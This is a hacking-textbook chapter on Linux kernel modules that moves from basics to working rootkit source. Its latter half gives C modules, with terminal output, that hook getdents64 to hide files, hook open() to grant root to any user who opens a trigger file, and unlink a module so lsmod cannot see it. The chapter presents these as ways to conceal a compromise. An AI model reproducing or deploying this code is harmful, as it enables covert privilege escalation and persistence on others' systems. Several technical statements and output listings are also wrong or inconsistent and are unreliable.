Chapter 5

Hiding files using kernel modules

Each operating system possesses a main part called the core, or kernel. It is responsible for controlling devices connected to the computer, managing memory and other low-level activities (those which refer to the hardware).

The kernel is an interface between user-mode programs and the machine on which they run. Most modern kernels possess the ability to load modules that can increase the abilities of the operating system as needed. The Linux system kernel is an example of such kernel. The modules of the Linux operating system kernel (Loadable Kernel Modules or LKM) possess full access to the kernel memory and can take advantage of all its abilities. An example of LKM is the network card driver. If it is not loaded our network card cannot work. To manage the Linux kernel modules, the programs located in the module-init-tools packet are used.

Depending on the distribution we may encounter packets of types RPM, DEB, or TGZ. If we do not have a packet on the distribution disk and it not yet installed, we can search for it on websites dedicated to packets such as:

```
http://www.rpmsearch.net
http://www.linuxpackages.net
```

The most frequently used elements of module-init-tools are:

a) insmod – allows kernel modules to be loaded.
b) rmmod – loads specific kernel modules.
c) modprobe – searches for a module with a given name and loads it.
d) lsmod – lists currently loaded modules.

As a root user we enter the lsmod command:

```
[root@localhost]# lsmod
Module                   Size             Used by
ipv6                     193028           26
tun                      4224             1
ne2k_pci                 5472             0
8390                     6400             1 ne2k_pci
crc32                    3200             1 8390
psmouse                  14600            0
rtc                      4628             0
ext3                     94056            3
mbcache                  4100             1 ext3
jbd                      39576            1 ext3
ide_disk                 12928            5
via82cxxx                9500             0 [permanent]
ide_core                 95336            2 ide_disk,via82cxxx
```

Based on the file /proc/modules or the kernel function query_module, the command lists all currently loaded modules. In our case these are disk drivers (such as ide_core or ide_disk), the file system (ext3), the modules responsible for mouse function (psmouse), and those connecting to the network (e.g., ne2k-pci, ipv6). The result of the action of the lsmod command contains information about how much memory capacity a given module requires ("Size" column) as well as how many kernel functions are using it ("Used by" column). In addition, if a module is being used by other loaded modules, it is listed in the "Used by" column. An example might be the module "8390" being used by "ne2k_pci."

Using the command rmmod, we try to load the module psmouse and then list the modules in use.

```
[root@localhost]# rmmod psmouse
[root@localhost]# lsmod
Module                   Size             Used by
ipv6                     193028           26
tun                      4224             1
ne2k_pci                 5472             0
8390                     6400             1 ne2k_pci
crc32                    3200             1 8390
rtc                      4628             0
ext3                     94056            3
mbcache                  4100             1 ext3
jbd                      39576            1 ext3
ide_disk                 12928            5
via82cxxx                9500             0 [permanent]
ide_core                 95336            2 ide_disk,via82cxxx
```

As we see, our module has disappeared from the list and the mouse has stopped responding. This is due to the fact that the core code responsible for mouse function, included in the psmouse module, has been removed. We will load our module once again.

```
[root@localhost]# insmod psmouse
insmod: can't read 'psmouse': No such file or directory
[root@localhost]# modprobe psmouse
[root@localhost]#
```

The attempt to load the module with the insmod command was not successful. If insmod had the full path to the module, it would have loaded. In the event we do not know the full path to the module and do not wish to search for it, we can use the command modprobe. The standard kernel modules are located in the directory /lib/modules/core_version. This is the location where the modprobe command searches for appropriate modules. After listing the modules we should see psmouse at the very top, as the last module to load.

Structure and compilation of modules

The kernel modules, like the kernel itself, are written in the C language. The advantage of this is relatively high performance, which is very important in an operating system. Knowledge of this language will be very useful in writing kernel modules. To be included in the kernel, each module must be compiled, meaning it is processed in such a way that human-readable code is transformed into a form understandable to CPUs and operating systems. We will use the most popular free compiler, GCC, to do this. First, let’s look at an example of a very simple kernel module (**/CD/Chapter5/Listings/modul1.c**).

```
/* First kernel module */

#include <linux/kernel.h>
#include <linux/module.h>

MODULE_LICENSE(„GPL”);

static int __init init_mod(void)
```

```
{
printk(„<1>Hello world\n” );
return 0;
}

static void __exit exit_mod(void)
{
printk(„<1>The end\n” );
}

module_init (init_mod);
module_exit (exit_mod);
```

Each kernel module must have a minimum of two functions. The initialization function init_mod() is executed upon each startup, while the exit_mod() function is executed with each shutdown. Our module attaches to 2 header files:

```
#include <linux/module.h>
#include <linux/kernel.h
```

These must be located in each module. They include functions and macros necessary for compiling. Our module performs only one function, printk(), which is an equivalent of the function printf() used to print text in programs written in C. The macro “MODULE_LICENSE” states that our module can be reproduced under the GPL license, thanks to which it can be loaded to the kernel without any reservations.

We will now save this module to the disk as the file “modul.c.” Next we will take a look how compilation is carried out.

Compilation of kernel modules

The compilation of kernel modules will be performed by using Makefile file. Example of Makefile file is shown below:

```
        obj-m := modul1.o modul2.o modul3.o modul4.o modul5.o
        all:
        make -C /usr/src/linux SUBDIRS=${PWD}
```

First line of Makefile contains a list of modules which we want to compile. Word all means standard action for make command (make all). Last line of the file defines directory of kernel sources and points that modules which we want to build are in current directory. This way of modules compilation refers to 2.6 kernel series only.

Next we compile our example module, entering the “make” command into the console, and then load it.

```
[root@localhost]# make
make -C /usr/src/linux SUBDIRS=/CD/Chapter5/Listings
make[1]: Entering directory `/union/usr/src/linux-2.6.26.8.tex3'
  LD              /CD/Chapter5/Listings/built-in.o
  CC [M]          /CD/Chapter5/Listings/modul1.o
  CC [M]          /CD/Chapter5/Listings/modul2.o
  CC [M]          /CD/Chapter5/Listings/modul3.o
  CC [M]          /CD/Chapter5/Listings/modul4.o
  CC [M]          /CD/Chapter5/Listings/modul5.o
 Building modules, stage 2.
  MODPOST 3 modules
  CC              /CD/Chapter5/Listings/modul1.mod.o
  LD [M]          /CD/Chapter5/Listings/modul1.ko
  CC              /CD/Chapter5/Listings/modul2.mod.o
  LD [M]          /CD/Chapter5/Listings/modul2.ko
  CC              /CD/Chapter5/Listings/modul3.mod.o
  LD [M]          /CD/Chapter5/Listings/modul3.ko
  CC              /CD/Chapter5/Listings/modul4.mod.o
  LD [M]          /CD/Chapter5/Listings/modul4.ko
  CC              /CD/Chapter5/Listings/modul5.mod.o
  LD [M]          /CD/Chapter5/Listings/modul5.ko
make[1]: Leaving directory `/union/usr/src/linux-2.6.26.8.tex3'
```

The module needs to be loaded at the text terminal level, and not in the console in X mode. If, however, we do not have this ability, we may check if the module is really working by investigating the kernel log with the help of the dmesg command.

```
[root@localhost]# insmod modul1.ko
[root@localhost]# dmesg | grep Hello
Hello world
[root@localhost]#
```

As we can see, the printk() function causes the printed sequence to be saved in the kernel log.

Servicing modules through the kernel

An area of appropriate size in the memory is assigned to each module being loaded. In addition, the kernel creates a structure in which it stores all information regarding the module. The structure is located in the file /usr/include/linux/module.h, in the kernel resources. Its most important fields are shown with a short commentary below:

```
struct module
{
/*The structure that groups the modules in a list. struct list_head list;

/* Unique module name. */
char name[MODULE_NAME_LEN];

/* Sysfs stuff, that is information about the module, parameters, version. */struct
module_kobject mkobj;
struct module_param_attrs *param_attrs;
struct module_attribute *modinfo_attrs;
const char *version;
const char *srcversion;

/* Symbols exported by the module. */
const struct kernel_symbol *syms;
unsigned int num_syms;
const unsigned long *crcs;

/* Installation function. */
int (*init)(void);

/* The size of the init and core section. */
unsigned long init_size, core_size;

/* The size of the binary code for each section. */
unsigned long init_text_size, core_text_size;

/* Dependency structure awaiting for the module unloading. */
struct task_struct *waiter;

/* Unloading function. */
void (*exit)(void);

/* Arguments passed when loading the module. */
char *args;
(..)
};
```

The kernel includes a list of such structures (list_head), the number of fields of which corresponds to the current number of loaded modules. To get to the following element in the list, the kernel must go to the next structure of type module using the next field. When a module is unloaded its structure is destroyed and the memory cleared. First, however, the value of its “next” field of list_head structure is assigned to the field of the previous element in the list so the list will not be interrupted at any given moment. Thanks to this solution, the kernel stores information about all currently loaded modules.

System calls

Each operating system possesses kernel functions that are employed by user programs. Such functions in the Linux system are called system calls. They allow ordinary programs to access to the kernel memory. We will now assume that our program performs the following in sequence:

1. Opens a file with help of the fopen() function
2. Reads data from it with help of fgets()
3. Closes the file using fclose()

The program checks the parameters of these functions and then calls the kernel functions, which perform further operations. These are in sequence open(), read(), and close(). We can therefore say that it is the kernel that reads data from the file and the program only calls the read() function with the appropriate parameters. Everything sounds very simple, but in practice, advanced mechanisms are required to manage system calls. We will now look more closely at how the program calls the kernel function.

We will analyze a simple example (**/CD/Chapter5/Listings/test.c**):

```
int main()
{
        char tmp[50];
        getcwd(tmp, 50);
        puts(tmp);
}
```

This program creates a character table with size 50, then it retrieves the current working directory with the help of the getcwd() function and displays the result onscreen using puts(). We will now compile our program and see the results this produces.

```
[root@localhost]# gcc –o test test.c
[root@localhost]# ./test
/home/users/
[root@localhost]#
```

In the above case the program has printed the sequence "/home/users" because it was started directly from the folder /home/users. Now we will check which system calls our program performs. In order to do this we will use the "strace" tool, which displays the name of the called function, its parameters, and the value it gives back. Thanks to the kernel function ptrace() it is possible to trace the performance of another process. The result of calling the strace command has been shortened to include only information necessary for the reader.

```
[root@localhost]# strace ./test
execve("./test", ["./test"], [/* 24 vars */]) = 0
[ Here memory allocation is being carried out along with other things unimportant to us
]
getcwd("/home/users/", 50)        = 18
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
write(1, "/home/users/\n", 18/home/users/)     = 18
munmap(0x40015000, 4096)               = 0
exit_group(18)                         =?
[root@localhost]#
```

Two lines below are interesting for us:

```
getcwd("/home/users/", 50)                            = 18
write(1, "/home/users/\n", 18/home/users/)     = 18
```

As we can see the getcwd() function that we called from the program has started a function with the same name in the kernel. However, pust() has used the write() function to print the information to the screen.

Each system call has a number that can be individually verified in the file /usr/include/asm/unistd.h. The write() function has the number 4, which is stated in the line:

```
#define __NR_write                4
```

To call the system function, the program drops its number into the processor register. An ordinary programmer does not have to know about the existence of the register. However, if we want to investigate the domain of programming the system kernel modules, familiarity with it will be very useful. The write() function assumes the following three parameters:

a) The location to which it writes
b) What to write
c) How many characters it should write

The function puts("/home/users”) therefore calls the function write(1, "/home/users/\n", 13). It will place its parameters in the appropriate processor registers. These will be, in sequence:

```
a) To register %eax copies the number of the write() function, that is 4
b) To %ebx copies the first parameter – descriptor of standard output, that is 1
c) To %ecx copies the pointer to our character sequence "/home/users\n"
d) To %edx copies the number of characters to be printed, that is 13 (length of our
   sequence)
```

When all the information has been copied into the appropriate registers, the process with the hexadecimal number 80h is interrupted. This is a signal for the processor to collect the data from the registers and to perform a given operation. At the beginning the processor takes the register value %eax, in which the number of function to perform is located. Next, once it knows which function to perform, it collects the appropriate parameters in sequence from the registers.

More about registers

Every processor contains a built-in memory called a cache. Reading and writing to cache occurs without the intervention of other devices, which is why it is very efficient. It can, however, contain a small amount of data, such as single variables. The memory is divided into registers in order to make reading and writing to it easier.

The capacity of registers in 32-bit processors (currently the majority of PCs) amounts, logically, to 32 bits, or 4 bytes. When we want to copy data from one place to another in RAM, the processor first copies the data into the registers, and then to the target location. The registers are also used in programs in which performance plays a key role. Mathematical algorithms using processor registers can often work faster than if they were using standard memory. The use of processor registers requires, however, the ability to program in a language that includes direct access to the registers, e.g., assembly language. This requires very advanced abilities and knowledge about the structure of computer hardware.

Registers

```
32-bit registers of general allocation are:

eax     - Accumulator
ebx     - Base register
ecx     - Counter register
edx     - Data register
esp     - Stack pointer
ebp     - Base pointer
esi     - Source index
edi     - Destination index
```

Access to the 16-bit, less significant parts ax, bx, cx, dx, sp, bp, si, di; and in the case of first four, also to the low and high bytes, respectively al, ah, bl, bh, cl, ch, dl, dh, is also possible.

```
Segment registers are also available:

cs      - Code segment
ds      - Data segment
es      - Extra segment
ss      - Stack segment
fs      - Additional segment register
gs      - Additional segment register

Furthermore there exist:
eflags  - flag register
eip     - register indicating the currently performed instruction
control registers of the crn processor (n – number)
drn debugger registers (n – number)
eight FPU registers, defined as st0... st7 or st(0)... st(7)
FPU control register
```

Service functions, sys_call_table

Knowing how the kernel defines which system function should be performed, it's time to stop and think how it carries this out. Let's assume that the kernel has already collected all parameters of the write() function from the registers and there is nothing else to do but to call the function itself. In the system there is a table containing pointers for all system functions, "sys_call_table." We know that the write() function is number 4. The kernel therefore collects the fourth element from sys_call_table and starts to perform the code located in the place of the address obtained. The simplest way to present it is the following:

```
/* pseudocode */

unsigned int fd          = "register value %ebx"
char *buf                = "register value %ecx"
unsigned int count       = "register value %edx"

/* end of pseudocode */

int (*write)(unsigned int, char *, unsigned int);
write = sys_call_table[4]; // or write = sys_call_table[__NR_write];
write(fd, buf, count)
```

The term "pseudocode," as used above; refers to the code that graphically presents the implemented activities, but which is not itself part of the standard programming language code. As we can see, after collecting the register values, we create an appropriate pointer to our function, assign a value from the sys_call_table to the function, and start it up. The sys_call_table can be modified freely from the kernel module level. But what happens if we change the pointer to a function in the table so that it points to our address instead? We can assume that our function will be performed, and not the one that really should have been performed. As the reader will soon discover, this provides vast opportunities to manipulate the system.

Access to sys_call_table in the new 2.6.x kernels

In contrast to the 2.4 kernels, the address of sys_call_table array is no longer exported so the kernel module cannot obtain an access to the syscall table using standard extern declaration.

In order to solve this problem, you can check the address of sys_call_table manually in /boot/System.map file appropriate for your kernel version. Analysis of the file and the address declaration in the source code may run as follows:

Finding the address of sys_call_table:

```
[root@localhost]# cat /boot/System.map | grep sys_call_table
c03428a0 R sys_call_table
[root@localhost]#
```

The declaration in the module code:

```
#define SCT 0xc03428a0
void **sys_call_table;
sys_call_table = (void**)SCT;
```

Substitution of functions in sys_call_table

Our earlier program, which we called test.c carried out the system function getcwd(). Its pointer in the kernel is located in sys_call_table[__NR_getcwd]. The following module shows how, instead of executing the real getcwd(), we can run our function (**/CD/Chapter5/Listings/modul2.c**).

```
/* Substituting module getcwd(), modul2.c */

 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/string.h>
 #include <linux/unistd.h>
 #include <linux/syscalls.h>

 MODULE_LICENSE(„GPL”);

 #define SCT 0xc03428a0

 void** sys_call_table;
 int (*o_getcwd) (char, size_t);

 asmlinkage int my_getcwd(char *buf, size_t size)
 {
      char *tmp = “/my/system/function/”;
      strncpy(buf, tmp, size);
      return strlen(tmp);
 }

 static int __init init_mod (void)
```

```
{
     sys_call_table = (void**)SCT;

     o_getcwd=sys_call_table[__NR_getcwd];
     sys_call_table[__NR_getcwd] = my_getcwd;
     return 0;
}

static void __exit exit_mod (void)
{
     sys_call_table[__NR_getcwd]=o_getcwd;
}
module_init (init_mod);
module_exit (exit_mod);
```

We will now analyze the init_mod() function. The first thing it does is make a copy of the original pointer for the getcwd function, assigning o_getcwd an appropriate field from sys_call_table. Then it overwrites this field with the address of our function "my_getcwd." The function my_getcwd will be executed each time we call the function getcwd() in the program. As we can see, our function will copy the sequence "/my/system/function," which resembles a path to a folder, into the cache transmitted by the user. It then returns its length using strlen(). We have to remember that when calling the module it is necessary to restore old settings, which can be seen in the function exit_mod(). If we do not, after it has called the module, our system would attempt to execute a function that is not there any more, probably causing the system to freeze.

We will now check to see what happens when we compile and load the above module and start up our program using the getcwd() function.

```
[root@localhost]# ./test
/home/users/
[root@localhost]# make
[root@localhost]# insmod modul2.o
[root@localhost]# ./test
[root@localhost]# rmmod module
[root@localhost]# ./test
/home/users/
[root@localhost]#
```

Everything is running as expected. As we now possess some knowledge about kernel modules, we can move on to their more practical use, which is the main focus of this chapter.

Hiding files using the kernel module

After a successful attack, a hacker usually faces two big problems, namely how he can hide the fact that the system is compromised, and what is to be done to gain permanent access to it. A good solution is to install eavesdropping backdoors that wait for a connection (backdoors were already dealt with in greater detail in an earlier chapter).

But how to find the best way to hide a newly added files and directories before the watchful eye of the administrator and radar tools that controls system's integrity?

Let us check how the ls utility works and try to write a kernel module that will hide files or folders indicated by you.

In order to verify which system calls ls program uses, we have to use trace utility once more. Below is a typical excerpt of the results it produces:

```
[root@localhost]# strace ls
execve(“/bin/ls”, [“ls”], [/* 60 vars */]) = 0
...
open(“.”, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 7
fstat64(7, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
fcntl64(7, F_SETFD, FD_CLOEXEC) = 0
getdents64(7, /* 36 entries */, 1024) = 1024
getdents64(7, /* 27 entries */, 1024) = 696
close(7)
...
```

As we can see, the program opens the current folder (.) with help of the open() function. Then it lists files located in directory using getdents64(). The strace program is a very helpful tool for searching for system calls.

Now that we know how the ls program works and which call is responsible for the directory listing, we can move on to writing a module for hiding files. The getdents64() function is used for listing each folder, we therefore have the ability to hide not only processes but also any file or folder. We will now see how the header of the getdents64() function in the Linux system kernel looks like:

```
asmlinkage long sys_getdents64( unsigned int fd,
                                struct linux_dirent64 __user *dirent,
                                unsigned int count);
```

This and other headers can be found in the file /usr/include/linux/syscalls.h that is part of the kernel resources. The parameters assumed by the abovementioned function are, in sequence:

a) Folder descriptor (value returned after executing the open() function).
b) Pointer for the dirent64 structure. The listed files will be located within it, and we will modify it in a way that it does not include files that we want to hide.
c) How many files should be listed.

The linux_dirent64 structure located in the file /usr/include/linux/dirent.h looks like this:

```
struct linux_dirent64 {
        u64                     d_ino;
        s64                     d_off;
        unsigned short          d_reclen;
        unsigned char           d_type;
        char                    d_name[0];
};
```

In the whole structure only one field is of interest to us, namely d_name. This contains the name of a specific file or folder. After execution the getdents64() function returns a table of such structures. Having its result, our intermediate function will search in this table for a file to hide, which it will then remove it from the list.

Below is a module that executes all the operations described above (**/CD/Chapter5/Listings/modul3.c**).

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/syscalls.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/sched.h>

MODULE_LICENSE(“GPL”);

/* sys_call_table address with /boot/System.map */
#define SCT 0xc03428a0

/* File name or directory to hide */
#define HIDE „hide_me”

void **sys_call_table;

asmlinkage int(*orig_getdents)(unsigned int, struct linux_dirent64 *, unsigned int);

asmlinkage int my_sys_getdents(unsigned int fd, struct linux_dirent64 *mydir,
unsigned int ile)
{
unsigned int tmp, n;
int t;

struct dirent64 *mydir2, *mydir3;

tmp = (unsigned int)(*orig_getdents) (fd, mydir, ile);
mydir2 = (struct dirent64 *) kmalloc(tmp, GFP_KERNEL);

if(copy_from_user(mydir2, mydir, tmp))
return -EFAULT;

t=(int)tmp;
mydir3 = mydir2;

while (t > 0)
{
n = mydir3->d_reclen;
t -= n;

/* Does file or directory contain word HIDE? | If yes – hide it. */
if (strcmp(mydir3->d_name, HIDE)==0)
{
if (t != 0)
memmove(mydir3, (char *) mydir3 + mydir3->d_reclen, t);
else
mydir3->d_off = 1024;

tmp -= n;
t -= n;
}

if (mydir3->d_reclen == 0)
{
tmp -= t;
t = 0;
}

if (t!= 0)
mydir3 = (struct dirent64 *) ((char *) mydir3 + mydir3->d_reclen);
}

kfree(mydir2);

if(copy_to_user(mydir, mydir2, tmp))
return -EFAULT;

return tmp;
}

static int __init init_mod (void)
{
sys_call_table = (void**)SCT;

orig_getdents=sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64]=my_sys_getdents;
return 0;
}

static void __exit exit_mod (void)
{
sys_call_table[__NR_getdents64]=orig_getdents;
}

module_init (init_mod);
module_exit (exit_mod);
```

After loading, the module substitutes the pointer of the getdents64 function with a function defined by the programmer. Our function my_sys_getdents calls the original function, which in turn displays the listed files and folders.

Next, the module checks if the structure mydir includes entries regarding files we want to hide (loop while (t > 0) {...}). If it includes them, the module modifies the structure list so as to delete a given field from the list. When it checks all files it inserts a new list in place of the real one with the use of the following function:

```
copy_to_user(mydir, mydir2, tmp);
```

The information about which files to hide is included in line:

```
#define HIDE "hide_me"
```

The sequence “hide_me” in the example gives the command to hide all files and dictionaries named hide_me.

We will now compile and load the module:

```
[root@localhost]# make
[root@localhost]# touch hide_me
[root@localhost]# ls
. .. modul3.c modul3.ko hide_me
[root@localhost]# insmod modul3.ko
[root@localhost]# ls
. .. modul3.c modul3.ko
[root@localhost]# rmmod modul3
[root@localhost]# ls
. .. modul3.c modul3.ko hide_me
[root@localhost]#
```

After loading the module, the file “hide_me” became invisible, but it still exists. After unloading it, everything returns to normal. As we can see, everything went as we had planned.

Hiding files is just one of many applications involving the substitution of system calls. Let’s imagine a situation in which we have two hard disks. Secret information is stored on one of them that should not be visible to other users, not even for those with administrator rights. In such a situation we can write a module that will not allow this disk to be mounted without entering a password, substituting the system function sys_mount. As a hacker who wishes to remain unnoticeable on the server, we can command the write() function to give us root rights after entering a given character sequence on the screen. The uses for this are nearly endless.

Developing our module

Our module has now a basic functionality – it can hide a selected file or directory. We could modify it in such a way that it would hide the files which contain in the name the string given by the user. But let us leave that task to the self-realization by the reader, and let us get busy with replenish our module with additional functionality.

We will modify our module in such a way that after referring to our hidden file, the system will automatically give us the administrator privileges. To do so we will intercept the open() function, which can be found under [_ _NR_open] in the sys_call_table.

Below you can find the source code of our additional function:
 (**/CD/Chapter5/Listings/modul4.c**):

```
asmlinkage int (*orig_open) (const char *, int, int);
asmlinkage int my_open(const char *path, int fl ag, int mod)
{
      if (strstr(path, HIDE))
      {
              current->uid = 0;
              current->gid = 0;
              current->euid = 0;
              current->egid = 0;

              current->parent->uid = 0;
              current->parent->gid = 0;
              current->parent->euid = 0;
              current->parent->egid = 0;
      }

      return (orig_open(path, fl ag, mod));
}
```

To make our function work properly, we also need to assign it to the appropriate entry in sys_call_table. Let us assign the following lines in the init_mod():

```
orig_open=sys_call_table[__NR_open];
sys_call_table[__NR_open]=my_open;
```

And let us load a new module:

```
[root@localhost]# make
[root@localhost]# insmod modul4.ko
```

Now we can log in on an ordinary user account and check our new module in action:

```
[root@localhost]# su user
[user@localhost]# whoami
user
[user@localhost]# ls
. .. Videos user_file
[user@localhost]# touch hide_me
[user@localhost]# ls
. .. Videos user_file
[user@localhost]# cat hide_me
[user@localhost]# whoami
root
[user@localhost]#
```

It worked. As you can see, opening the file hide_me with cat command, gave us the system's administrator privileges.

We have added a new functionality to our module. Another function we could add is hiding of the kernel module in order to make it invisible after the lsmod command .

Hiding a kernel module

After loading, the kernel module has access to the __this_module structure . This structure is defined in the /usr/include/linux/module.h file. Below you can find a short description of the most interesting fields:

```
extern struct module __this_module;

struct module
{
        enum module_state state;
        struct list_head list;
        (…)
        char name[MODULE_NAME_LEN];
        (…)
}
```

What you can observe right now is only a small part of the code structure, but it is sufficient for you to carry out the task. As you can see, the structure of the module contains a list field of type list_head . List_head structure contains two pointers of the same type, called *next and *prev. We can check this in /usr/include/linux/list.h. In other words, loaded modules create a list, that is arranged opposite to the loading order. The module that was loaded as last, now is placed on the top of the list, and loaded as first – at the end.

Our task will be to write a module that invokes the `next` index of the last loaded module and substitutes it with a pointer to the module that was loaded before that. After the operation, our module will disappear from the list structure and will not be visible using lsmod command.

```
        List of modules before operation:
        1 -> 2 -> 3 -> 4 -> 5 -> 6
        List of modules after operation:
        1 -> 3 -> 4 -> 5 -> 6
```

1 – this is the module that will substitute the other one
2 – this is the module that we want to hide – it was loaded before module 1.

Below you can find the source code of our new module (**/CD/Chapter5/Listings/modul5.c**):

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>

MODULE_LICENSE(“GPL”);

7| /* Hide the last loaded module */
static int __init init_mod (void)
{
     if (__this_module.list.next)
     __this_module.list.next = __this_module.list.next->next;

     return 0;
}

static void __exit exit_mod (void)
{
}

module_init (init_mod);
module_exit (exit_mod);
```

Let's see, if everything goes as expected:

```
[root@localhost]# lsmod | grep modul
modul4 1280 0
[root@localhost]# make
[root@localhost]# insmod modul5.ko
[root@localhost]# lsmod | grep modul
```

```
modul5 1120 0
[root@localhost]# rmmod modul5
[root@localhost]# lsmod | grep modul
[root@localhost]# rmmod modul4
ERROR: Module modul4 does not exist in /proc/modules
[root@localhost]#
```

As we see, after loading the module5.ko, modul4.ko has disappeared from the list. This situation persists even after unloading the modul5.ko. The downside of this solution is the lack of possibility to unload modul4.ko during the further work of the system. To accomplish this, we would have to reboot the system or to modify our module in such a way it would save the original index of overwritten element. However we leave this task to implement by the reader.
The system kernel, gives us an access to the sys_call_table that in turn gives us an enormous opportunities, both from the perspective of a hacker and administrator. Its use depends only on our creativity. In search of interesting system calls we can use the strace program, or browse the kernel sources. We strongly encourage the reader to further explore the linux kernel.